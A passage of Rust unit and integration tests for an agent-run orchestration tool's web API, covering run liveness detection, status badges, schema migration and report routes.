18653        let detail = f.get("/api/runs/a1b2").await;
18654        assert_eq!(detail.status, 200);
18655        assert_eq!(detail.json()["base_branch"], "main");
18656        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
18657    }
18658
18659    /// `status: "ready"` alone cannot tell a run still headed for a landing
18660    /// (a PR closed without merging, say) apart from one `[merge] mode =
18661    /// "none"` left unmerged for good — the confusion the operator flagged
18662    /// after the CLI report already grew a `not landed — nothing to do by
18663    /// design` line for exactly this case (`report.rs`). Both the list route
18664    /// and the detail route must carry a flag the phone can key on instead of
18665    /// re-deriving it from `status` + `merge.mode` itself.
18666    #[tokio::test]
18667    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
18668        let f = Fixture::start().await;
18669
18670        let mut none_run = RunState::new(
18671            PathBuf::from("/repo/magi"),
18672            "main".to_owned(),
18673            "0123456789abcdef".to_owned(),
18674            "Add a web UI".to_owned(),
18675            Config::default(),
18676        );
18677        none_run.id = "20260902-140503-none".to_owned();
18678        none_run.status = RunStatus::Ready;
18679        none_run.merge = Some(crate::run::MergeOutcome {
18680            mode: crate::config::MergeMode::None,
18681            ok: true,
18682            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
18683            empty: false,
18684        });
18685        write_state(&f.runs(), &none_run);
18686
18687        let mut pr_run = RunState::new(
18688            PathBuf::from("/repo/magi"),
18689            "main".to_owned(),
18690            "0123456789abcdef".to_owned(),
18691            "Add a web UI".to_owned(),
18692            Config::default(),
18693        );
18694        pr_run.id = "20260902-140504-prcl".to_owned();
18695        pr_run.status = RunStatus::Ready;
18696        pr_run.merge = Some(crate::run::MergeOutcome {
18697            mode: crate::config::MergeMode::Pr,
18698            ok: false,
18699            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
18700            empty: false,
18701        });
18702        write_state(&f.runs(), &pr_run);
18703
18704        let summary = f.get("/api/runs").await.json();
18705        let rows: std::collections::HashMap<&str, &Value> = summary
18706            .as_array()
18707            .expect("an array")
18708            .iter()
18709            .map(|r| (r["id"].as_str().expect("an id"), r))
18710            .collect();
18711        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
18712        assert_eq!(
18713            rows[none_run.id.as_str()]["unmerged_by_design"],
18714            true,
18715            "a mode-none Ready must be flagged in the list"
18716        );
18717        assert_eq!(
18718            rows[pr_run.id.as_str()]["unmerged_by_design"],
18719            false,
18720            "a Ready reached by a closed pull request is a different case"
18721        );
18722
18723        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
18724        assert_eq!(none_detail["status"], "ready");
18725        assert_eq!(none_detail["unmerged_by_design"], true);
18726
18727        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
18728        assert_eq!(pr_detail["unmerged_by_design"], false);
18729    }
18730
18731    /// `RunState::active` is only ever cleared by whoever populated it, so the
18732    /// detail route also has to say whether a daemon is actually still
18733    /// driving this run right now — otherwise a seat from a killed process's
18734    /// last wave would read as live forever.
18735    #[tokio::test]
18736    async fn run_core_survives_unavailable_related_stores() {
18737        let home = TempDir::new().unwrap();
18738        let ui = delta_test_ui(home.path());
18739        let state = RunState::new(
18740            PathBuf::from("/repo/magi"),
18741            "main".into(),
18742            "0123456789abcdef".into(),
18743            "Useful core instructions".into(),
18744            Config::default(),
18745        );
18746        let dir = ui.runs.join(&state.id);
18747        std::fs::create_dir_all(&dir).unwrap();
18748        std::fs::write(dir.join("run.json"), serde_json::to_vec(&state).unwrap()).unwrap();
18749        std::fs::write(ui.questions.root(), "unavailable").unwrap();
18750        std::fs::write(ui.queue.root(), "unavailable").unwrap();
18751        let core = run_core(State(ui.clone()), Path(state.id.clone()))
18752            .await
18753            .unwrap()
18754            .0;
18755        assert_eq!(core.state.instruction, state.instruction);
18756        assert_eq!(core.state.updated_at, state.updated_at);
18757        assert!(core.task.is_none());
18758        assert!(run_detail(State(ui), Path(state.id)).await.is_err());
18759    }
18760
18761    #[tokio::test]
18762    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
18763        let f = Fixture::start().await;
18764        // Matches `write_daemon`'s hard-coded `current.run`, so the second
18765        // half of this test can claim the daemon is working on it without a
18766        // second helper.
18767        let id = "20260902-140502-bbbb";
18768        let mut state = RunState::new(
18769            PathBuf::from("/repo/magi"),
18770            "main".to_owned(),
18771            "0123456789abcdef".to_owned(),
18772            "Add a web UI".to_owned(),
18773            Config::default(),
18774        );
18775        state.id = id.to_owned();
18776        state.status = RunStatus::Judging;
18777        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
18778        let dir = f.runs().join(id);
18779        std::fs::create_dir_all(&dir).expect("run dir");
18780        std::fs::write(
18781            dir.join("run.json"),
18782            serde_json::to_string_pretty(&state).expect("serialize run"),
18783        )
18784        .expect("write run.json");
18785
18786        // No daemon.json at all, and no `driver_pid` recorded either (this
18787        // state was written directly, never through `execute()`): there is
18788        // nothing to confirm either way, so the route must say `"unknown"` —
18789        // never `"dead"`, which is exactly the false diagnosis a manual `magi
18790        // run` used to get from this route before `driver_pid` existed.
18791        let cold = f.get(&format!("/api/runs/{id}")).await.json();
18792        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
18793        assert_eq!(cold["live"], "unknown", "{cold}");
18794
18795        // A fresh heartbeat naming exactly this run: the same entry now reads
18796        // as confirmed, not merely recorded.
18797        write_daemon(f.home.path(), Timestamp::now());
18798        let warm = f.get(&format!("/api/runs/{id}")).await.json();
18799        assert_eq!(warm["live"], "live", "{warm}");
18800    }
18801
18802    #[test]
18803    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
18804        let home = tempfile::tempdir().expect("temp home");
18805        let runs = home.path().join("runs");
18806        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
18807            let mut state = RunState::new(
18808                PathBuf::from("/repo/magi"),
18809                "main".to_owned(),
18810                "0123456789abcdef".to_owned(),
18811                "Generated review context, not authored task criteria".to_owned(),
18812                Config::default(),
18813            );
18814            state.origin = origin;
18815            state.status = RunStatus::Blocked;
18816            // Earlier migrations must not infer these facts again.
18817            state.driver_exited = false;
18818            state.gate_ran = true;
18819            let expected = serde_json::to_value(&state).expect("serialize current state");
18820            let mut legacy = expected.clone();
18821            legacy["schema"] = serde_json::json!(13);
18822            legacy.as_object_mut().unwrap().remove("task_instruction");
18823            let dir = runs.join(&state.id);
18824            std::fs::create_dir_all(&dir).expect("run dir");
18825            let path = dir.join("run.json");
18826            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
18827            std::fs::write(&path, &body).expect("write legacy run");
18828
18829            for loaded in [
18830                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
18831                read_run(&runs, &state.id).expect("web migration"),
18832            ] {
18833                assert_eq!(loaded.schema, crate::run::SCHEMA);
18834                assert!(loaded.task_instruction.is_none());
18835                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
18836            }
18837            assert_eq!(runs_unreadable(&runs), 0);
18838            assert_eq!(std::fs::read(&path).unwrap(), body);
18839        }
18840    }
18841
18842    /// Where a run came from is shown, and a run written before origins were
18843    /// recorded (schema 12, no `origin` key) stays readable and says so.
18844    #[tokio::test]
18845    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
18846        let f = Fixture::start().await;
18847        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
18848            let mut state = RunState::new(
18849                PathBuf::from("/repo/magi"),
18850                "main".to_owned(),
18851                "0123456789abcdef".to_owned(),
18852                "Add a web UI".to_owned(),
18853                Config::default(),
18854            );
18855            state.id = id.to_owned();
18856            state.origin = origin;
18857            let mut value = serde_json::to_value(&state).expect("serialize run");
18858            if let Some(schema) = schema {
18859                value["schema"] = serde_json::json!(schema);
18860                value.as_object_mut().unwrap().remove("origin");
18861            }
18862            let dir = f.runs().join(id);
18863            std::fs::create_dir_all(&dir).expect("run dir");
18864            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
18865        };
18866        write(
18867            "20260930-092817-ec34",
18868            Some(crate::run::Origin::from_agent_env(
18869                Some(("4a7b".to_owned(), "chat".to_owned())),
18870                None,
18871            )),
18872            None,
18873        );
18874        write("20260930-092817-0ld1", None, Some(12));
18875
18876        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
18877        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
18878        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
18879
18880        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
18881        assert_eq!(
18882            old["origin_label"], "origin unknown (started before origins were recorded)",
18883            "{old}"
18884        );
18885        assert!(old["origin"].is_null(), "{old}");
18886
18887        let list = f.get("/api/runs").await.json();
18888        let labels: Vec<_> = list
18889            .as_array()
18890            .unwrap()
18891            .iter()
18892            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
18893            .collect();
18894        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
18895    }
18896
18897    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
18898    /// review` claims no daemon at all, so before this field existed the
18899    /// route above read it as `"dead"` — indistinguishable from a run a
18900    /// killed process abandoned — the whole time it was genuinely still
18901    /// answering. With a live pid recorded, it must read `"live"` even
18902    /// though no daemon claims it.
18903    #[tokio::test]
18904    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
18905        let f = Fixture::start().await;
18906        let id = "20260922-090000-cccc";
18907        let mut state = RunState::new(
18908            PathBuf::from("/repo/magi"),
18909            "main".to_owned(),
18910            "0123456789abcdef".to_owned(),
18911            "Review only".to_owned(),
18912            Config::default(),
18913        );
18914        state.id = id.to_owned();
18915        state.status = RunStatus::Reviewing;
18916        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18917        // This test process's own pid: guaranteed alive, and never needs a
18918        // real daemon or a second process to prove it. The matching start-time
18919        // marker is what `liveness` now requires alongside a live pid — see
18920        // `RunState::driver_started_at`'s own doc for why the pid alone is
18921        // not enough.
18922        state.driver_pid = Some(std::process::id());
18923        state.driver_started_at = Some(
18924            crate::proc::process_started_at(std::process::id())
18925                .expect("this test process's own start time must be queryable"),
18926        );
18927        let dir = f.runs().join(id);
18928        std::fs::create_dir_all(&dir).expect("run dir");
18929        std::fs::write(
18930            dir.join("run.json"),
18931            serde_json::to_string_pretty(&state).expect("serialize run"),
18932        )
18933        .expect("write run.json");
18934
18935        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18936        assert_eq!(detail["live"], "live", "{detail}");
18937    }
18938
18939    /// A killed manual run's pid can be handed to a wholly unrelated later
18940    /// process — a live query on `driver_pid` alone would read this as
18941    /// `"live"`, exactly the false positive `driver_started_at` exists to
18942    /// catch (see that field's own doc, and `RunState::liveness_with`'s
18943    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
18944    #[tokio::test]
18945    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
18946        let f = Fixture::start().await;
18947        let id = "20260922-090100-dddd";
18948        let mut state = RunState::new(
18949            PathBuf::from("/repo/magi"),
18950            "main".to_owned(),
18951            "0123456789abcdef".to_owned(),
18952            "Review only".to_owned(),
18953            Config::default(),
18954        );
18955        state.id = id.to_owned();
18956        state.status = RunStatus::Reviewing;
18957        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
18958        // This test process's own pid really is alive, but the marker
18959        // recorded here does not match what it actually started at —
18960        // standing in for the pid having since been reused by a different
18961        // process than the one that wrote `run.json`.
18962        state.driver_pid = Some(std::process::id());
18963        state.driver_started_at = Some("1".to_owned());
18964        let dir = f.runs().join(id);
18965        std::fs::create_dir_all(&dir).expect("run dir");
18966        std::fs::write(
18967            dir.join("run.json"),
18968            serde_json::to_string_pretty(&state).expect("serialize run"),
18969        )
18970        .expect("write run.json");
18971
18972        let detail = f.get(&format!("/api/runs/{id}")).await.json();
18973        assert_eq!(detail["live"], "dead", "{detail}");
18974    }
18975
18976    /// The deck's competition list is normally the first place an operator
18977    /// sees an old run. It must carry the same process verdict as detail, or
18978    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
18979    #[test]
18980    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
18981        let mk = |id: &str, pid: Option<u32>| {
18982            let mut s = RunState::new(
18983                PathBuf::from("/repo/magi"),
18984                "main".to_owned(),
18985                "0123456789abcdef".to_owned(),
18986                "Add a web UI".to_owned(),
18987                Config::default(),
18988            );
18989            s.id = id.to_owned();
18990            s.driver_pid = pid;
18991            s.driver_started_at = Some("1790000000".to_owned());
18992            s
18993        };
18994        let states = vec![
18995            mk("20260902-140502-aaaa", Some(77)),
18996            mk("20260902-140502-bbbb", Some(77)),
18997            mk("20260902-140502-cccc", Some(77)),
18998            mk("20260902-140502-dddd", None),
18999        ];
19000        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19001        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19002        let sup: HashMap<String, String> = [(
19003            "20260902-140502-aaaa".to_owned(),
19004            "20260902-140502-cccc".to_owned(),
19005        )]
19006        .into();
19007
19008        let status_calls = std::cell::Cell::new(0);
19009        let identity_calls = std::cell::Cell::new(0);
19010        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19011            |_| {
19012                status_calls.set(status_calls.get() + 1);
19013                Some(true)
19014            },
19015            |_| {
19016                identity_calls.set(identity_calls.get() + 1);
19017                Some("1790000000".to_owned())
19018            },
19019        ));
19020        let rows = summarize(
19021            states,
19022            &open,
19023            &claimed,
19024            &sup,
19025            |p| probe.borrow_mut().status(p),
19026            |p| probe.borrow_mut().started_at(p),
19027        );
19028
19029        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19030        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19031        assert_eq!(rows.len(), 4);
19032        assert!(!rows[0].waiting && rows[1].waiting);
19033        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19034        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19035        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19036        assert_eq!(rows[1].superseded_by, None);
19037    }
19038
19039    #[test]
19040    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19041        let mut state = RunState::new(
19042            PathBuf::from("/repo/magi"),
19043            "main".to_owned(),
19044            "0123456789abcdef".to_owned(),
19045            "Review only".to_owned(),
19046            Config::default(),
19047        );
19048        state.id = "20260922-090200-dead".to_owned();
19049        state.status = RunStatus::Reviewing;
19050        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19051            .expect("serialize list row");
19052        assert_eq!(row["status"], "reviewing");
19053        assert_eq!(row["display_status"], "stale");
19054        assert_eq!(row["live"], "dead", "{row}");
19055        assert!(!row["done"].as_bool().unwrap());
19056    }
19057
19058    #[test]
19059    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19060        use crate::run::Liveness::{Dead, Live, Unknown};
19061        let mut state = RunState::new(
19062            PathBuf::from("/repo/magi"),
19063            "main".to_owned(),
19064            "abc".to_owned(),
19065            "Review only".to_owned(),
19066            Config::default(),
19067        );
19068        for (status, parked, node, waiting, live, expected) in [
19069            (
19070                RunStatus::Judging,
19071                true,
19072                "github-text",
19073                false,
19074                Dead,
19075                "parked",
19076            ),
19077            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19078            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19079            (
19080                RunStatus::Judging,
19081                true,
19082                "github-text",
19083                true,
19084                Dead,
19085                "waiting",
19086            ),
19087            (
19088                RunStatus::Judging,
19089                false,
19090                "github-text",
19091                true,
19092                Dead,
19093                "waiting",
19094            ),
19095            (
19096                RunStatus::Judging,
19097                false,
19098                "github-text",
19099                false,
19100                Dead,
19101                "stale",
19102            ),
19103            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19104            (RunStatus::Judging, true, "park", false, Live, "judging"),
19105            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19106            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19107            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19108            (
19109                RunStatus::Blocked,
19110                true,
19111                "github-text",
19112                true,
19113                Dead,
19114                "waiting",
19115            ),
19116        ] {
19117            state.status = status;
19118            state.parked = parked;
19119            state.events.clear();
19120            state.event(
19121                "park",
19122                "an earlier park does not determine the latest state",
19123            );
19124            state.event(node, "message is not used for classification");
19125            let summary = RunSummary::of(&state, waiting, live);
19126            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19127            assert_eq!(
19128                summary.display_status, expected,
19129                "{status:?}/{node}/{live:?}"
19130            );
19131            assert_eq!(detail.display_status, summary.display_status);
19132            assert_eq!(detail.waiting, summary.waiting);
19133        }
19134        state.status = RunStatus::Judging;
19135        state.parked = false;
19136        state.events.clear();
19137        assert_eq!(run_display_status(&state, false, Dead), "stale");
19138    }
19139
19140    #[test]
19141    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19142        use crate::run::Liveness::{Dead, Live, Unknown};
19143        let mut state = RunState::new(
19144            PathBuf::from("/repo/magi"),
19145            "main".to_owned(),
19146            "abc".to_owned(),
19147            "Badge".to_owned(),
19148            Config::default(),
19149        );
19150        for (status, waiting, live, superseded, expected) in [
19151            (RunStatus::Gating, false, Dead, false, "stale"),
19152            (RunStatus::Gating, false, Dead, true, "superseded"),
19153            (RunStatus::Gating, false, Unknown, true, "superseded"),
19154            (RunStatus::Gating, true, Dead, true, "superseded"),
19155            (RunStatus::Gating, true, Dead, false, "waiting"),
19156            (RunStatus::Gating, false, Unknown, false, "gating"),
19157            (RunStatus::Gating, false, Live, true, "gating"),
19158            (RunStatus::Gating, true, Live, true, "waiting"),
19159            (RunStatus::Merged, false, Dead, true, "merged"),
19160            (RunStatus::Blocked, false, Dead, true, "blocked"),
19161        ] {
19162            state.status = status;
19163            let display = run_display_status(&state, waiting, live);
19164            assert_eq!(
19165                run_badge_status(&state, &display, live, superseded),
19166                expected,
19167                "{status:?}/{live:?}/superseded={superseded}"
19168            );
19169        }
19170    }
19171
19172    #[test]
19173    fn summarize_and_detail_expose_badge_status() {
19174        use crate::run::Liveness::Dead;
19175        let mut state = RunState::new(
19176            PathBuf::from("/repo/magi"),
19177            "main".to_owned(),
19178            "abc".to_owned(),
19179            "Badge".to_owned(),
19180            Config::default(),
19181        );
19182        state.status = RunStatus::Gating;
19183        let none = HashSet::new();
19184        let id = state.id.clone();
19185        let mut by = HashMap::new();
19186        let rows = summarize(
19187            [state.clone()],
19188            &none,
19189            &none,
19190            &by,
19191            |_| Some(false),
19192            |_| None,
19193        );
19194        // No driver recorded: liveness is not provably dead, so the node stays.
19195        assert_eq!(rows[0].badge_status, rows[0].display_status);
19196        by.insert(id, "20260901-000000-913b".to_owned());
19197        let detail = RunDetailView::of(
19198            state.clone(),
19199            false,
19200            Dead,
19201            Some("913b".to_owned()),
19202            None,
19203            None,
19204        );
19205        assert_eq!(detail.badge_status, "superseded");
19206        let json = serde_json::to_value(&detail).unwrap();
19207        assert_eq!(json["badge_status"], "superseded");
19208        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19209        assert_eq!(detail.badge_status, "stale");
19210    }
19211
19212    #[tokio::test]
19213    async fn run_display_status_routes_share_the_open_question_store() {
19214        let f = Fixture::start().await;
19215        let id = "20260922-090200-abcd";
19216        write_run(&f.runs(), id, RunStatus::Judging);
19217        let mut state = read_run(&f.runs(), id).unwrap();
19218        state.parked = true;
19219        state.driver_exited = true;
19220        state.event("github-text", "waiting for the owner");
19221        state.save_under(f.home.path()).unwrap();
19222        let mut task = Task::new(
19223            "resumed task".to_owned(),
19224            "do it".to_owned(),
19225            PathBuf::from("/repo"),
19226            Source::Human,
19227        );
19228        task.runs = vec![id.to_owned(), id.to_owned()];
19229        f.queue().put(&mut task).unwrap();
19230        let store = f.questions();
19231        let mut q = Question::new(
19232            id.to_owned(),
19233            "github-text".to_owned(),
19234            "owner".to_owned(),
19235            "Approve the text?".to_owned(),
19236            String::new(),
19237            Vec::new(),
19238        );
19239        store.put(&mut q).unwrap();
19240        for expected in ["waiting", "parked"] {
19241            let list = f.get("/api/runs").await.json();
19242            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19243            assert_eq!(list[0]["display_status"], expected);
19244            assert_eq!(detail["display_status"], expected);
19245            assert_eq!(detail["waiting"], list[0]["waiting"]);
19246            assert_eq!(list[0]["badge_status"], expected);
19247            assert_eq!(detail["badge_status"], expected);
19248            assert!(list[0]["superseded_by"].is_null());
19249            assert!(detail["superseded_by"].is_null());
19250            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19251            let history = task_detail["history"].as_array().unwrap();
19252            assert_eq!(history.len(), 2);
19253            assert!(history[0]["badge"].is_null());
19254            assert_eq!(history[1]["badge"], expected);
19255            q.status = ask::QuestionStatus::Answered;
19256            store.put(&mut q).unwrap();
19257        }
19258    }
19259
19260    #[tokio::test]
19261    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
19262        let f = Fixture::start().await;
19263        let id = "20260922-090200-abcd";
19264        write_run(&f.runs(), id, RunStatus::Judging);
19265        let mut state = read_run(&f.runs(), id).unwrap();
19266        state.parked = true;
19267        state.driver_exited = true;
19268        state.event("park", "stopped at a node boundary");
19269        state.save_under(f.home.path()).unwrap();
19270
19271        for expected in ["parked", "stale"] {
19272            let list = f.get("/api/runs").await.json();
19273            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19274            assert_eq!(list[0]["live"], "dead");
19275            assert_eq!(list[0]["display_status"], expected);
19276            assert_eq!(detail["display_status"], expected);
19277            // Model a driver claim followed by a crash before the next event:
19278            // the persisted flag changes, but the last event is still park.
19279            state.parked = false;
19280            state.save_under(f.home.path()).unwrap();
19281        }
19282    }
19283
19284    #[tokio::test]
19285    async fn the_run_list_is_newest_first_and_honours_a_limit() {
19286        let f = Fixture::start().await;
19287        for id in [
19288            "20260902-140501-aaaa",
19289            "20260902-140502-bbbb",
19290            "20260902-140503-cccc",
19291        ] {
19292            write_run(&f.runs(), id, RunStatus::Merged);
19293        }
19294
19295        let all = f.get("/api/runs").await.json();
19296        let capped = f.get("/api/runs?limit=2").await.json();
19297
19298        assert_eq!(all[0]["id"], "20260902-140503-cccc");
19299        assert_eq!(all.as_array().map(Vec::len), Some(3));
19300        assert_eq!(capped.as_array().map(Vec::len), Some(2));
19301        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
19302    }
19303
19304    #[tokio::test]
19305    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
19306        let f = Fixture::start().await;
19307        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
19308
19309        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
19310
19311        assert_eq!(res.status, 200);
19312        assert!(
19313            res.headers
19314                .contains("content-type: text/plain; charset=utf-8"),
19315            "a browser must render it, not download it: {}",
19316            res.headers
19317        );
19318        // The assertion is on content, not on the absence of escapes: colour
19319        // is a process-global that `serve` turns off at startup, and another
19320        // test in this binary may own it while this one runs.
19321        assert!(
19322            res.body.contains("20260902-140501-a1b2"),
19323            "the report is about the run that was asked for: {}",
19324            res.body
19325        );
19326    }
19327
19328    #[tokio::test]
19329    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
19330        // The view names the run's state directory, which reads the process-global home.
19331        crate::run::pin_test_home();
19332        let f = Fixture::start().await;
19333        let id = "20260902-140501-a1b2";
19334        write_run(&f.runs(), id, RunStatus::Stalled);
19335        // A stalled panel and one review round, written through the real
19336        // state file so the route reads what a run really leaves behind.
19337        let path = f.runs().join(id).join("run.json");
19338        let mut v: serde_json::Value =
19339            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19340        v["tally"] = serde_json::json!({
19341            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19342            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
19343            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
19344            "met_quorum": false, "rankings": 1
19345        });
19346        v["reviews"] = serde_json::json!([{
19347            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
19348            "e2e_deferred": true,
19349            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
19350                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
19351            ]}]
19352        }]);
19353        std::fs::write(&path, v.to_string()).unwrap();
19354        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
19355        std::fs::write(
19356            f.runs().join("20260902-140502-dead").join("run.json"),
19357            "{not json",
19358        )
19359        .unwrap();
19360
19361        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19362
19363        assert_eq!(res.status, 200, "{}", res.body);
19364        assert!(res.headers.contains("content-type: application/json"));
19365        let j = res.json();
19366        assert_eq!(j["schema"], 1);
19367        assert_eq!(j["header"]["id"], id);
19368        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
19369        let kinds: Vec<&str> = j["sections"]
19370            .as_array()
19371            .unwrap()
19372            .iter()
19373            .map(|s| s["kind"].as_str().unwrap())
19374            .collect();
19375        assert_eq!(kinds, ["candidates", "tally", "review"]);
19376        let tally = &j["sections"][1]["tally"];
19377        assert_eq!(
19378            (tally["decided"].clone(), tally["provisional"].clone()),
19379            (false.into(), true.into())
19380        );
19381        let round = &j["sections"][2]["rounds"][0];
19382        assert_eq!(round["e2e"]["state"], "deferred");
19383        assert_eq!(round["findings"][0]["severity"], "major");
19384        assert_eq!(round["findings"][0]["blocking"], true);
19385        assert_eq!(round["findings"][0]["state"], "open");
19386
19387        // The raw route keeps working beside it.
19388        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19389
19390        // An unreadable run is an error, as on the text route, and is counted.
19391        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19392        assert_ne!(bad.status, 200, "{}", bad.body);
19393        assert_eq!(
19394            bad.status,
19395            f.get("/api/runs/20260902-140502-dead/report").await.status
19396        );
19397        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19398        assert_eq!(
19399            f.get("/api/runs/20260902-999999-ffff/report.json")
19400                .await
19401                .status,
19402            404
19403        );
19404    }
19405
19406    #[tokio::test]
19407    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19408        crate::run::pin_test_home();
19409        let f = Fixture::start().await;
19410        let id = "20260902-140503-delib";
19411        write_run(&f.runs(), id, RunStatus::Merged);
19412        let path = f.runs().join(id).join("run.json");
19413        let mut v: serde_json::Value =
19414            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19415        v["judgements"] = serde_json::json!([
19416            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19417        ]);
19418        v["tally"] = serde_json::json!({
19419            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19420            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19421            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19422            "met_quorum": true, "rankings": 1
19423        });
19424        v["deliberation"] = serde_json::json!([
19425            {
19426                "round": 1,
19427                "turns": [
19428                    {
19429                        "judge": 1,
19430                        "agent": "judge-1",
19431                        "body": "I prefer candidate **A** because it has cleaner tests.",
19432                        "tentative": "A"
19433                    }
19434                ]
19435            },
19436            {
19437                "round": 2,
19438                "turns": [
19439                    {
19440                        "judge": 1,
19441                        "agent": "judge-1",
19442                        "body": "Still thinking, no choice yet.",
19443                        "tentative": null
19444                    }
19445                ]
19446            }
19447        ]);
19448        std::fs::write(&path, v.to_string()).unwrap();
19449
19450        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19451        assert_eq!(res.status, 200, "{}", res.body);
19452        let j = res.json();
19453        let judging = j["sections"]
19454            .as_array()
19455            .unwrap()
19456            .iter()
19457            .find(|s| s["kind"] == "judging")
19458            .expect("judging section exists");
19459
19460        // Existing summary lines remain intact
19461        let delib_lines = judging["deliberation"].as_array().unwrap();
19462        assert_eq!(delib_lines.len(), 2);
19463        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19464        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19465
19466        // rounds carry turn bodies, tentative and parsed body_md
19467        let rounds = judging["rounds"].as_array().unwrap();
19468        assert_eq!(rounds.len(), 2);
19469        let r1_t0 = &rounds[0]["turns"][0];
19470        assert_eq!(r1_t0["judge"], 1);
19471        assert_eq!(r1_t0["agent"], "judge-1");
19472        assert_eq!(r1_t0["tentative"], "A");
19473        assert_eq!(
19474            r1_t0["body"],
19475            "I prefer candidate **A** because it has cleaner tests."
19476        );
19477        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19478
19479        let r2_t0 = &rounds[1]["turns"][0];
19480        assert_eq!(r2_t0["judge"], 1);
19481        assert_eq!(r2_t0["agent"], "judge-1");
19482        assert!(r2_t0["tentative"].is_null());
19483        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19484        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19485
19486        // A run with empty deliberation array yields empty rounds
19487        let id_empty = "20260902-140504-nodelib";
19488        write_run(&f.runs(), id_empty, RunStatus::Merged);
19489        let path_empty = f.runs().join(id_empty).join("run.json");
19490        let mut v_empty: serde_json::Value =
19491            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19492        v_empty["judgements"] = serde_json::json!([
19493            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19494        ]);
19495        v_empty["deliberation"] = serde_json::json!([]);
19496        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19497
